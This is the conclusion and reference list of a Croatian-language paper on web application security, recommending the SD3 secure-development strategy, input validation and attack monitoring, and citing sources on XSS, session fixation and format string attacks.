9.Zakljuak posljedica drugih napadakih tehnika, prevencija te odreene vrste napada spreava i DoS napad. Visoki razina sigurnosti Web aplikacije se takoer moe postii ispravnom strategijama pisanja Web aplikacije. Jedna od najpoznatijih strategija je SD3 strategija (engl. secure by design, secure by default, secure in deployment). Neke od osobine ove strategije su:
Pisanje koda sigurnim principima. Jednostruka ljudska pogreka nee ugroziti sigurnost cijele aplikacije. Primjerice, prilikom pisanja koda, korisniki uneseni podaci e se parsirati i provjeravati unutar svake funkcije koja prima korisnike podatke kako bi se sprijeio sigurnosni propust. Postojanje sustava za nadgledanje i detekciju kako bi se detektirali napadi. Na ovaj nain se moe otkriti korisnika koji je pokuao izvesti napad i sprijeiti da to ini u budunosti. Dodatno, sustav e otkriti nain na koji je napad izveden te izvijestiti programere. Programeri e analizirati napad, te izdati novu verziju Web aplikacije kako bi zatitili druge korisnike od napada. Ovim postupkom postie se dugorona sigurnost Web aplikacije.
25
10. Literatura
1. Tony Northup: MCAD/MCSD Self-Paced Training Kit: Implementing Security for Applications with Microsoft Visual Basic .NET and Microsoft Visual C# .NET, Microsoft Press, 2004. 2. Simson Garfinkel: Web Security & Commerce, O'Reilly, 1997. 3. Web Application Security Consortium, Web Application Security Consortium: Threat Clasification (pdf). URL: http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.pdf (10/2/2006). 4. The Unofficial Cookie FAQ. URL: http://www.cookiecentral.com/faq/ (14/2/2006). 5. Mitja Koek, Session Fixation Vulnerability in Web-based Applications URL:http://www.acrossecurity.com/papers/session_fixation.pdf (14/2/2006). (pdf).
6. Kevin Spett, SPI Labs , Cross-Site Scripting attacks (pdf). URL:http://www.spidynamics.com/whitepapers/SPIcross-sitescripting. df (16/2/2006). p 7. Tim Newsham, Format string attacks URL:http://muse.linuxmafia.org/lost+found/format-string-attacks.pdf (16/2/2006). (pdf).
8. Secunia - Advisories - Mambo 'GLOBALS['mosConfig_absolute_path']' File Inclusion, URL: http://secunia.com/advisories/14337 (5/4/2006). 9. All About Bots. Trojans And Worms!. URL: http://www.swatit.org/bots/ (5/4/2006).
26